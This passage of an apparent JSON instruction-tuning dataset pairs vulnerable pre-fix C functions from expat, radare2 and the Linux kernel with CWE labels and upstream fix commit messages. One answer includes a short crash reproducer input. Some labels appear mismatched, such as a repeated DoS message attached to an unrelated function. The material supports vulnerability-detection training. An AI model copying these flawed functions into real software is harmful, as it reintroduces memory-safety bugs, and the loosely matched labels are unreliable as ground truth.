charsRequired++;\n }\n /* Include the terminator */\n charsRequired++;\n\n /* Now allocate space for the copy */\n result = memsuite->malloc_fcn(charsRequired * sizeof(XML_Char));\n if (result == NULL)\n return NULL;\n /* Copy the original into place */\n memcpy(result, s, charsRequired * sizeof(XML_Char));\n return result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190', 'CWE-787'], 'message': 'Prevent integer overflow in copyString\n\nThe copyString function is only used for encoding string supplied by\nthe library user.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static RList *create_cache_bins(RBinFile *bf, RDyldCache *cache) {\n\tRList *bins = r_list_newf ((RListFree)free_bin);\n\tif (!bins) {\n\t\treturn NULL;\n\t}\n\n\tchar *target_libs = NULL;\n\tRList *target_lib_names = NULL;\n\tint *deps = NULL;\n\ttarget_libs = r_sys_getenv (\"R_DYLDCACHE_FILTER\");\n\tif (target_libs) {\n\t\ttarget_lib_names = r_str_split_list (target_libs, \":\", 0);\n\t\tif (!target_lib_names) {\n\t\t\tr_list_free (bins);\n\t\t\treturn NULL;\n\t\t}\n\t\tdeps = R_NEWS0 (int, cache->hdr->imagesCount);\n\t\tif (!deps) {\n\t\t\tr_list_free (bins);\n\t\t\tr_list_free (target_lib_names);\n\t\t\treturn NULL;\n\t\t}\n\t}\n\n\tut32 i;\n\tfor (i = 0; i < cache->n_hdr; i++) {\n\t\tcache_hdr_t *hdr = &cache->hdr[i];\n\t\tut64 hdr_offset = cache->hdr_offset[i];\n\t\tut32 maps_index = cache->maps_index[i];\n\t\tcache_img_t *img = read_cache_images (cache->buf, hdr, hdr_offset);\n\t\tif (!img) {\n\t\t\tgoto next;\n\t\t}\n\n\t\tut32 j;\n\t\tut16 *depArray = NULL;\n\t\tcache_imgxtr_t *extras = NULL;\n\t\tif (target_libs) {\n\t\t\tHtPU *path_to_idx = NULL;\n\t\t\tif (cache->accel) {\n\t\t\t\tdepArray = R_NEWS0 (ut16, cache->accel->depListCount);\n\t\t\t\tif (!depArray) {\n\t\t\t\t\tgoto next;\n\t\t\t\t}\n\n\t\t\t\tif (r_buf_fread_at (cache->buf, cache->accel->depListOffset, (ut8*) depArray, \"s\", cache->accel->depListCount) != cache->accel->depListCount * 2) {\n\t\t\t\t\tgoto next;\n\t\t\t\t}\n\n\t\t\t\textras = read_cache_imgextra (cache->buf, hdr, cache->accel);\n\t\t\t\tif (!extras) {\n\t\t\t\t\tgoto next;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tpath_to_idx = create_path_to_index (cache->buf, img, hdr);\n\t\t\t}\n\n\t\t\tfor (j = 0; j < hdr->imagesCount; j++) {\n\t\t\t\tbool printing = !deps[j];\n\t\t\t\tchar *lib_name = get_lib_name (cache->buf, &img[j]);\n\t\t\t\tif (!lib_name) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif (strstr (lib_name, \"libobjc.A.dylib\")) {\n\t\t\t\t\tdeps[j]++;\n\t\t\t\t}\n\t\t\t\tif (!r_list_find (target_lib_names, lib_name, string_contains)) {\n\t\t\t\t\tR_FREE (lib_name);\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tif (printing) {\n\t\t\t\t\teprintf (\"FILTER: %s\\n\", lib_name);\n\t\t\t\t}\n\t\t\t\tR_FREE (lib_name);\n\t\t\t\tdeps[j]++;\n\n\t\t\t\tif (extras && depArray) {\n\t\t\t\t\tut32 k;\n\t\t\t\t\tfor (k = extras[j].dependentsStartArrayIndex; depArray[k] != 0xffff; k++) {\n\t\t\t\t\t\tut16 dep_index = depArray[k] & 0x7fff;\n\t\t\t\t\t\tdeps[dep_index]++;\n\n\t\t\t\t\t\tchar *dep_name = get_lib_name (cache->buf, &img[dep_index]);\n\t\t\t\t\t\tif (!dep_name) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (printing) {\n\t\t\t\t\t\t\teprintf (\"-> %s\\n\", dep_name);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tfree (dep_name);\n\t\t\t\t\t}\n\t\t\t\t} else if (path_to_idx) {\n\t\t\t\t\tcarve_deps_at_address (cache, img, path_to_idx, img[j].address, deps, printing);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tht_pu_free (path_to_idx);\n\t\t\tR_FREE (depArray);\n\t\t\tR_FREE (extras);\n\t\t}\n\n\t\tfor (j = 0; j < hdr->imagesCount; j++) {\n\t\t\tif (deps && !deps[j]) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tut64 pa = va2pa (img[j].address, hdr->mappingCount, &cache->maps[maps_index], cache->buf, 0, NULL, NULL);\n\t\t\tif (pa == UT64_MAX) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tut8 magicbytes[4];\n\t\t\tr_buf_read_at (cache->buf, pa, magicbytes, 4);\n\t\t\tint magic = r_read_le32 (magicbytes);\n\t\t\tswitch (magic) {\n\t\t\tcase MH_MAGIC_64:\n\t\t\t{\n\t\t\t\tchar file[256];\n\t\t\t\tRDyldBinImage *bin = R_NEW0 (RDyldBinImage);\n\t\t\t\tif (!bin) {\n\t\t\t\t\tgoto next;\n\t\t\t\t}\n\t\t\t\tbin->header_at = pa;\n\t\t\t\tbin->hdr_offset = hdr_offset;\n\t\t\t\tbin->symbols_off = resolve_symbols_off (cache, pa);\n\t\t\t\tbin->va = img[j].address;\n\t\t\t\tif (r_buf_read_at (cache->buf, img[j].pathFileOffset, (ut8*) &file, sizeof (file)) == sizeof (file)) {\n\t\t\t\t\tfile[255] = 0;\n\t\t\t\t\tchar *last_slash = strrchr (file, '/');\n\t\t\t\t\tif (last_slash && *last_slash) {\n\t\t\t\t\t\tif (last_slash > file) {\n\t\t\t\t\t\t\tchar *scan = last_slash - 1;\n\t\t\t\t\t\t\twhile (scan > file && *scan != '/') {\n\t\t\t\t\t\t\t\tscan--;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (*scan == '/') {\n\t\t\t\t\t\t\t\tbin->file = strdup (scan + 1);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tbin->file = strdup (last_slash + 1);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tbin->file = strdup (last_slash + 1);\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tbin->file = strdup (file);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tr_list_append (bins, bin);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tdefault:\n\t\t\t\teprintf (\"Unknown sub-bin\\n\");\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\nnext:\n\t\tR_FREE (depArray);\n\t\tR_FREE (extras);\n\t\tR_FREE (img);\n\t}\n\tif (r_list_empty (bins)) {\n\t\tr_list_free (bins);\n\t\tbins = NULL;\n\t}\n\tR_FREE (deps);\n\tR_FREE (target_libs);\n\tr_list_free (target_lib_names);\n\treturn bins;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Fix heap buffer overflow in dyldcache parser ##crash\n\n* Reported by: Lazymio via huntr.dev\n* Reproducer: dyldovf'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: struct nft_flow_rule *nft_flow_rule_create(struct net *net,\n\t\t\t\t\t const struct nft_rule *rule)\n{\n\tstruct nft_offload_ctx *ctx;\n\tstruct nft_flow_rule *flow;\n\tint num_actions = 0, err;\n\tstruct nft_expr *expr;\n\n\texpr = nft_expr_first(rule);\n\twhile (nft_expr_more(rule, expr)) {\n\t\tif (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)\n\t\t\tnum_actions++;\n\n\t\texpr = nft_expr_next(expr);\n\t}\n\n\tif (num_actions == 0)\n\t\treturn ERR_PTR(-EOPNOTSUPP);\n\n\tflow = nft_flow_rule_alloc(num_actions);\n\tif (!flow)\n\t\treturn ERR_PTR(-ENOMEM);\n\n\texpr = nft_expr_first(rule);\n\n\tctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);\n\tif (!ctx) {\n\t\terr = -ENOMEM;\n\t\tgoto err_out;\n\t}\n\tctx->net = net;\n\tctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;\n\n\twhile (nft_expr_more(rule, expr)) {\n\t\tif (!expr->ops->offload) {\n\t\t\terr = -EOPNOTSUPP;\n\t\t\tgoto err_out;\n\t\t}\n\t\terr = expr->ops->offload(ctx, flow, expr);\n\t\tif (err < 0)\n\t\t\tgoto err_out;\n\n\t\texpr = nft_expr_next(expr);\n\t}\n\tnft_flow_rule_transfer_vlan(ctx, flow);\n\n\tflow->proto = ctx->dep.l3num;\n\tkfree(ctx);\n\n\treturn flow;\nerr_out:\n\tkfree(ctx);\n\tnft_flow_rule_destroy(flow);\n\n\treturn ERR_PTR(err);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-269'], 'message': 'netfilter: nf_tables_offload: incorrect flow offload action array size\n\nimmediate verdict expression needs to allocate one slot in the flow offload\naction array, however, immediate data expression does not need to do so.\n\nfwd and dup expression need to allocate one slot, this is missing.\n\nAdd a new offload_action interface to report if this expression needs to\nallocate one slot in the flow offload action array.\n\nFixes: be2861dc36d7 (\"netfilter: nft_{fwd,dup}_netdev: add offload support\")\nReported-and-tested-by: Nick Gregory \nSigned-off-by: Pablo Neira Ayuso '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: RCoreSymCacheElement *r_coresym_cache_element_new(RBinFile *bf, RBuffer *buf, ut64 off, int bits, char * file_name) {\n\tRCoreSymCacheElement *result = NULL;\n\tut8 *b = NULL;\n\tRCoreSymCacheElementHdr *hdr = r_coresym_cache_element_header_new (buf, off, bits);\n\tif (!hdr) {\n\t\treturn NULL;\n\t}\n\tif (hdr->version != 1) {\n\t\teprintf (\"Unsupported CoreSymbolication cache version (%d)\\n\", hdr->version);\n\t\tgoto beach;\n\t}\n\tif (hdr->size == 0 || hdr->size > r_buf_size (buf) - off) {\n\t\teprintf (\"Corrupted CoreSymbolication header: size out of bounds (0x%x)\\n\", hdr->size);\n\t\tgoto beach;\n\t}\n\tresult = R_NEW0 (RCoreSymCacheElement);\n\tif (!result) {\n\t\tgoto beach;\n\t}\n\tresult->hdr = hdr;\n\tb = malloc (hdr->size);\n\tif (!b) {\n\t\tgoto beach;\n\t}\n\tif (r_buf_read_at (buf, off, b, hdr->size) != hdr->size) {\n\t\tgoto beach;\n\t}\n\tut8 *end = b + hdr->size;\n\tif (file_name) {\n\t\tresult->file_name = file_name;\n\t} else if (hdr->file_name_off) {\n\t\tresult->file_name = str_dup_safe (b, b + (size_t)hdr->file_name_off, end);\n\t}\n\tif (hdr->version_off) {\n\t\tresult->binary_version = str_dup_safe (b, b + (size_t)hdr->version_off, end);\n\t}\n\tconst size_t word_size = bits / 8;\n\tconst ut64 start_of_sections = (ut64)hdr->n_segments * R_CS_EL_SIZE_SEG + R_CS_EL_OFF_SEGS;\n\tconst ut64 sect_size = (bits == 32) ? R_CS_EL_SIZE_SECT_32 : R_CS_EL_SIZE_SECT_64;\n\tconst ut64 start_of_symbols = start_of_sections + (ut64)hdr->n_sections * sect_size;\n\tconst ut64 start_of_lined_symbols = start_of_symbols + (ut64)hdr->n_symbols * R_CS_EL_SIZE_SYM;\n\tconst ut64 start_of_line_info = start_of_lined_symbols + (ut64)hdr->n_lined_symbols * R_CS_EL_SIZE_LSYM;\n\tconst ut64 start_of_unknown_pairs = start_of_line_info + (ut64)hdr->n_line_info * R_CS_EL_SIZE_LINFO;\n\tconst ut64 start_of_strings = start_of_unknown_pairs + (ut64)hdr->n_symbols * 8;\n\n\tut64 page_zero_size = 0;\n\tsize_t page_zero_idx = 0;\n\tif (UT32_MUL_OVFCHK (hdr->n_segments, sizeof (RCoreSymCacheElementSegment))) {\n\t\tgoto beach;\n\t} else if (UT32_MUL_OVFCHK (hdr->n_sections, sizeof (RCoreSymCacheElementSection))) {\n\t\tgoto beach;\n\t} else if (UT32_MUL_OVFCHK (hdr->n_symbols, sizeof (RCoreSymCacheElementSymbol))) {\n\t\tgoto beach;\n\t} else if (UT32_MUL_OVFCHK (hdr->n_lined_symbols, sizeof (RCoreSymCacheElementLinedSymbol))) {\n\t\tgoto beach;\n\t} else if (UT32_MUL_OVFCHK (hdr->n_line_info, sizeof (RCoreSymCacheElementLineInfo))) {\n\t\tgoto beach;\n\t}\n\tif (hdr->n_segments > 0) {\n\t\tresult->segments = R_NEWS0 (RCoreSymCacheElementSegment, hdr->n_segments);\n\t\tif (!result->segments) {\n\t\t\tgoto beach;\n\t\t}\n\t\tsize_t i;\n\t\tut8 *cursor = b + R_CS_EL_OFF_SEGS;\n\t\tfor (i = 0; i < hdr->n_segments && cursor < end; i++) {\n\t\t\tRCoreSymCacheElementSegment *seg = &result->segments[i];\n\t\t\tseg->paddr = seg->vaddr = r_read_le64 (cursor);\n\t\t\tcursor += 8;\n\t\t\tif (cursor >= end) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tseg->size = seg->vsize = r_read_le64 (cursor);\n\t\t\tcursor += 8;\n\t\t\tif (cursor >= end) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tseg->name = str_dup_safe_fixed (b, cursor, 16, end);\n\t\t\tcursor += 16;\n\t\t\tif (!seg->name) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (!strcmp (seg->name, \"__PAGEZERO\")) {\n\t\t\t\tpage_zero_size = seg->size;\n\t\t\t\tpage_zero_idx = i;\n\t\t\t\tseg->paddr = seg->vaddr = 0;\n\t\t\t\tseg->size = 0;\n\t\t\t}\n\t\t}\n\t\tfor (i = 0; i < hdr->n_segments && page_zero_size > 0; i++) {\n\t\t\tif (i == page_zero_idx) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tRCoreSymCacheElementSegment *seg = &result->segments[i];\n\t\t\tif (seg->vaddr < page_zero_size) {\n\t\t\t\tseg->vaddr += page_zero_size;\n\t\t\t}\n\t\t}\n\t}\n\tbool relative_to_strings = false;\n\tut8* string_origin;\n\tif (hdr->n_sections > 0) {\n\t\tresult->sections = R_NEWS0 (RCoreSymCacheElementSection, hdr->n_sections);\n\t\tif (!result->sections) {\n\t\t\tgoto beach;\n\t\t}\n\t\tsize_t i;\n\t\tut8 *cursor = b + start_of_sections;\n\t\tfor (i = 0; i < hdr->n_sections && cursor < end; i++) {\n\t\t\tut8 *sect_start = cursor;\n\t\t\tRCoreSymCacheElementSection *sect = &result->sections[i];\n\t\t\tsect->vaddr = sect->paddr = r_read_ble (cursor, false, bits);\n\t\t\tif (sect->vaddr < page_zero_size) {\n\t\t\t\tsect->vaddr += page_zero_size;\n\t\t\t}\n\t\t\tcursor += word_size;\n\t\t\tif (cursor >= end) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tsect->size = r_read_ble (cursor, false, bits);\n\t\t\tcursor += word_size;\n\t\t\tif (cursor >= end) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tut64 sect_name_off = r_read_ble (cursor, false, bits);\n\t\t\tif (!i && !sect_name_off) {\n\t\t\t\trelative_to_strings = true;\n\t\t\t}\n\t\t\tcursor += word_size;\n\t\t\tif (bits == 32) {\n\t\t\t\tcursor += word_size;\n\t\t\t}\n\t\t\tstring_origin = relative_to_strings? b + start_of_strings : sect_start;\n\t\t\tsect->name = str_dup_safe (b, string_origin + (size_t)sect_name_off, end);\n\t\t}\n\t}\n\tif (hdr->n_symbols) {\n\t\tresult->symbols = R_NEWS0 (RCoreSymCacheElementSymbol, hdr->n_symbols);\n\t\tif (!result->symbols) {\n\t\t\tgoto beach;\n\t\t}\n\t\tsize_t i;\n\t\tut8 *cursor = b + start_of_symbols;\n\t\tfor (i = 0; i < hdr->n_symbols && cursor + R_CS_EL_SIZE_SYM <= end; i++) {\n\t\t\tRCoreSymCacheElementSymbol *sym = &result->symbols[i];\n\t\t\tsym->paddr = r_read_le32 (cursor);\n\t\t\tsym->size = r_read_le32 (cursor + 0x4);\n\t\t\tsym->unk1 = r_read_le32 (cursor + 0x8);\n\t\t\tsize_t name_off = r_read_le32 (cursor + 0xc);\n\t\t\tsize_t mangled_name_off = r_read_le32 (cursor + 0x10);\n\t\t\tsym->unk2 = (st32)r_read_le32 (cursor + 0x14);\n\t\t\tstring_origin = relative_to_strings? b + start_of_strings : cursor;\n\t\t\tsym->name = str_dup_safe (b, string_origin + name_off, end);\n\t\t\tif (!sym->name) {\n\t\t\t\tcursor += R_CS_EL_SIZE_SYM;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tstring_origin = relative_to_strings? b + start_of_strings : cursor;\n\t\t\tsym->mangled_name = str_dup_safe (b, string_origin + mangled_name_off, end);\n\t\t\tif (!sym->mangled_name) {\n\t\t\t\tcursor += R_CS_EL_SIZE_SYM;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcursor += R_CS_EL_SIZE_SYM;\n\t\t}\n\t}\n\tif (hdr->n_lined_symbols) {\n\t\tresult->lined_symbols = R_NEWS0 (RCoreSymCacheElementLinedSymbol, hdr->n_lined_symbols);\n\t\tif (!result->lined_symbols) {\n\t\t\tgoto beach;\n\t\t}\n\t\tsize_t i;\n\t\tut8 *cursor = b + start_of_lined_symbols;\n\t\tfor (i = 0; i < hdr->n_lined_symbols && cursor + R_CS_EL_SIZE_LSYM <= end; i++) {\n\t\t\tRCoreSymCacheElementLinedSymbol *lsym = &result->lined_symbols[i];\n\t\t\tlsym->sym.paddr = r_read_le32 (cursor);\n\t\t\tlsym->sym.size = r_read_le32 (cursor + 0x4);\n\t\t\tlsym->sym.unk1 = r_read_le32 (cursor + 0x8);\n\t\t\tsize_t name_off = r_read_le32 (cursor + 0xc);\n\t\t\tsize_t mangled_name_off = r_read_le32 (cursor + 0x10);\n\t\t\tlsym->sym.unk2 = (st32)r_read_le32 (cursor + 0x14);\n\t\t\tsize_t file_name_off = r_read_le32 (cursor + 0x18);\n\t\t\tlsym->flc.line = r_read_le32 (cursor + 0x1c);\n\t\t\tlsym->flc.col = r_read_le32 (cursor + 0x20);\n\t\t\tstring_origin = relative_to_strings? b + start_of_strings : cursor;\n\t\t\tlsym->sym.name = str_dup_safe (b, string_origin + name_off, end);\n\t\t\tif (!lsym->sym.name) {\n\t\t\t\tcursor += R_CS_EL_SIZE_LSYM;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tstring_origin = relative_to_strings? b + start_of_strings : cursor;\n\t\t\tlsym->sym.mangled_name = str_dup_safe (b, string_origin + mangled_name_off, end);\n\t\t\tif (!lsym->sym.mangled_name) {\n\t\t\t\tcursor += R_CS_EL_SIZE_LSYM;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tstring_origin = relative_to_strings? b + start_of_strings : cursor;\n\t\t\tlsym->flc.file = str_dup_safe (b, string_origin + file_name_off, end);\n\t\t\tif (!lsym->flc.file) {\n\t\t\t\tcursor += R_CS_EL_SIZE_LSYM;\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tcursor += R_CS_EL_SIZE_LSYM;\n\t\t\tmeta_add_fileline (bf, r_coresym_cache_element_pa2va (result, lsym->sym.paddr), lsym->sym.size, &lsym->flc);\n\t\t}\n\t}\n\tif (hdr->n_line_info) {\n\t\tresult->line_info = R_NEWS0 (RCoreSymCacheElementLineInfo, hdr->n_line_info);\n\t\tif (!result->line_info) {\n\t\t\tgoto beach;\n\t\t}\n\t\tsize_t i;\n\t\tut8 *cursor = b + start_of_line_info;\n\t\tfor (i = 0; i < hdr->n_line_info && cursor + R_CS_EL_SIZE_LINFO <= end; i++) {\n\t\t\tRCoreSymCacheElementLineInfo *info = &result->line_info[i];\n\t\t\tinfo->paddr = r_read_le32 (cursor);\n\t\t\tinfo->size = r_read_le32 (cursor + 4);\n\t\t\tsize_t file_name_off = r_read_le32 (cursor + 8);\n\t\t\tinfo->flc.line = r_read_le32 (cursor + 0xc);\n\t\t\tinfo->flc.col = r_read_le32 (cursor + 0x10);\n\t\t\tstring_origin = relative_to_strings? b + start_of_strings : cursor;\n\t\t\tinfo->flc.file = str_dup_safe (b, string_origin + file_name_off, end);\n\t\t\tif (!info->flc.file) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tcursor += R_CS_EL_SIZE_LINFO;\n\t\t\tmeta_add_fileline (bf, r_coresym_cache_element_pa2va (result, info->paddr), info->size, &info->flc);\n\t\t}\n\t}\n\n\t/*\n\t * TODO:\n\t * Figure out the meaning of the 2 arrays of hdr->n_symbols\n\t * 32-bit integers located at the end of line info.\n\t * Those are the last info before the strings at the end.\n\t */\n\nbeach:\n\tfree (b);\n\treturn result;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'Fix oobread in macho core symbolication ##crash\n\n* Reported by @cnitlrt via huntr.dev'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: struct r_bin_pe_addr_t *PE_(check_unknow)(RBinPEObj *pe) {\n\tstruct r_bin_pe_addr_t *entry;\n\tif (!pe || !pe->b) {\n\t\treturn 0LL;\n\t}\n\tut8 b[512];\n\tZERO_FILL (b);\n\tentry = PE_ (r_bin_pe_get_entrypoint) (pe);\n\t// option2: /x 8bff558bec83ec20\n\tif (r_buf_read_at (pe->b, entry->paddr, b, 512) < 1) {\n\t\tpe_printf (\"Warning: Cannot read entry at 0x%08\"PFMT64x\"\\n\", entry->paddr);\n\t\tfree (entry);\n\t\treturn NULL;\n\t}\n\t/* Decode the jmp instruction, this gets the address of the 'main'\n\t function for PE produced by a compiler whose name someone forgot to\n\t write down. */\n\t// this is dirty only a single byte check, can return false positives\n\tif (b[367] == 0xe8) {\n\t\tfollow_offset (entry, pe->b, b, sizeof (b), pe->big_endian, 367);\n\t\treturn entry;\n\t}\n\tsize_t i;\n\tfor (i = 0; i < 512 - 16 ; i++) {\n\t\t// 5. ff 15 .. .. .. .. 50 e8 [main]\n\t\tif (!memcmp (b + i, \"\\xff\\x15\", 2)) {\n\t\t\tif (b[i + 6] == 0x50) {\n\t\t\t\tif (b[i + 7] == 0xe8) {\n\t\t\t\t\tfollow_offset (entry, pe->b, b, sizeof (b), pe->big_endian, i + 7);\n\t\t\t\t\treturn entry;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tfree (entry);\n\treturn NULL;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400', 'CWE-703'], 'message': 'Fix DoS in PE/QNX/DYLDCACHE/PSX parsers ##crash\n\n* Reported by lazymio\n* Reproducer: AAA4AAAAAB4='" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static st64 buf_format(RBuffer *dst, RBuffer *src, const char *fmt, int n) {\n\tst64 res = 0;\n\tint i;\n\tfor (i = 0; i < n; i++) {\n\t\tint j;\n\t\tint m = 1;\n\t\tint tsize = 2;\n\t\tbool bigendian = true;\n\n\t\tfor (j = 0; fmt[j]; j++) {\n\t\t\tswitch (fmt[j]) {\n\t\t\tcase '0':\n\t\t\tcase '1':\n\t\t\tcase '2':\n\t\t\tcase '3':\n\t\t\tcase '4':\n\t\t\tcase '5':\n\t\t\tcase '6':\n\t\t\tcase '7':\n\t\t\tcase '8':\n\t\t\tcase '9':\n\t\t\t\tif (m == 1) {\n\t\t\t\t\tm = r_num_get (NULL, &fmt[j]);\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\tcase 's': tsize = 2; bigendian = false; break;\n\t\t\tcase 'S': tsize = 2; bigendian = true; break;\n\t\t\tcase 'i': tsize = 4; bigendian = false; break;\n\t\t\tcase 'I': tsize = 4; bigendian = true; break;\n\t\t\tcase 'l': tsize = 8; bigendian = false; break;\n\t\t\tcase 'L': tsize = 8; bigendian = true; break;\n\t\t\tcase 'c': tsize = 1; bigendian = false; break;\n\t\t\tdefault: return -1;\n\t\t\t}\n\n\t\t\tint k;\n\t\t\tfor (k = 0; k < m; k++) {\n\t\t\t\tut8 tmp[sizeof (ut64)];\n\t\t\t\tut8 d1;\n\t\t\t\tut16 d2;\n\t\t\t\tut32 d3;\n\t\t\t\tut64 d4;\n\t\t\t\tst64 r = r_buf_read (src, tmp, tsize);\n\t\t\t\tif (r < tsize) {\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n\n\t\t\t\tswitch (tsize) {\n\t\t\t\tcase 1:\n\t\t\t\t\td1 = r_read_ble8 (tmp);\n\t\t\t\t\tr = r_buf_write (dst, (ut8 *)&d1, 1);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 2:\n\t\t\t\t\td2 = r_read_ble16 (tmp, bigendian);\n\t\t\t\t\tr = r_buf_write (dst, (ut8 *)&d2, 2);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 4:\n\t\t\t\t\td3 = r_read_ble32 (tmp, bigendian);\n\t\t\t\t\tr = r_buf_write (dst, (ut8 *)&d3, 4);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 8:\n\t\t\t\t\td4 = r_read_ble64 (tmp, bigendian);\n\t\t\t\t\tr = r_buf_write (dst, (ut8 *)&d4, 8);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif (r < 0) {\n\t\t\t\t\treturn -1;\n\t\t\t\t}\n\t\t\t\tres += r;\n\t\t\t}\n\t\t\tm = 1;\n\t\t}\n\t}\n\treturn res;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400', 'CWE-703'], 'message': 'Fix DoS in PE/QNX/DYLDCACHE/PSX parsers ##crash\n\n* Reported by lazymio\n* Reproducer: AAA4AAAAAB4='" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int rndis_set_response(struct rndis_params *params,\n\t\t\t rndis_set_msg_type *buf)\n{\n\tu32 BufLength, BufOffset;\n\trndis_set_cmplt_type *resp;\n\trndis_resp_t *r;\n\n\tr = rndis_add_response(params, sizeof(rndis_set_cmplt_type));\n\tif (!r)\n\t\treturn -ENOMEM;\n\tresp = (rndis_set_cmplt_type *)r->buf;\n\n\tBufLength = le32_to_cpu(buf->InformationBufferLength);\n\tBufOffset = le32_to_cpu(buf->InformationBufferOffset);\n\n#ifdef\tVERBOSE_DEBUG\n\tpr_debug(\"%s: Length: %d\\n\", __func__, BufLength);\n\tpr_debug(\"%s: Offset: %d\\n\", __func__, BufOffset);\n\tpr_debug(\"%s: InfoBuffer: \", __func__);\n\n\tfor (i = 0; i < BufLength; i++) {\n\t\tpr_debug(\"%02x \", *(((u8 *) buf) + i + 8 + BufOffset));\n\t}\n\n\tpr_debug(\"\\n\");\n#endif\n\n\tresp->MessageType = cpu_to_le32(RNDIS_MSG_SET_C);\n\tresp->MessageLength = cpu_to_le32(16);\n\tresp->RequestID = buf->RequestID; /* Still LE in msg buffer */\n\tif (gen_ndis_set_resp(params, le32_to_cpu(buf->OID),\n\t\t\t((u8 *)buf) + 8 + BufOffset, BufLength, r))\n\t\tresp->Status = cpu_to_le32(RNDIS_STATUS_NOT_SUPPORTED);\n\telse\n\t\tresp->Status = cpu_to_le32(RNDIS_STATUS_SUCCESS);\n\n\tparams->resp_avail(params->v);\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-200', 'CWE-668'], 'message': 'usb: gadget: rndis: check size of RNDIS_MSG_SET command\n\nCheck the size of the RNDIS_MSG_SET command given to us before\nattempting to respond to an invalid message size.\n\nReported-by: Szymon Heidrich \nCc: stable@kernel.org\nTested-by: Szymon Heidrich \nSigned-off-by: Greg Kroah-Hartman '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static loff_t find_tree_dqentry(struct qtree_mem_dqinfo *info,\n\t\t\t\tstruct dquot *dquot, uint blk, int depth)\n{\n\tchar *buf = kmalloc(info->dqi_usable_bs, GFP_NOFS);\n\tloff_t ret = 0;\n\t__le32 *ref = (__le32 *)buf;\n\n\tif (!buf)\n\t\treturn -ENOMEM;\n\tret = read_blk(info, blk, buf);\n\tif (ret < 0) {\n\t\tquota_error(dquot->dq_sb, \"Can't read quota tree block %u\",\n\t\t\t blk);\n\t\tgoto out_buf;\n\t}\n\tret = 0;\n\tblk = le32_to_cpu(ref[get_index(info, dquot->dq_id, depth)]);\n\tif (!blk)\t/* No reference? */\n\t\tgoto out_buf;\n\tif (depth < info->dqi_qtree_depth - 1)\n\t\tret = find_tree_dqentry(info, dquot, blk, 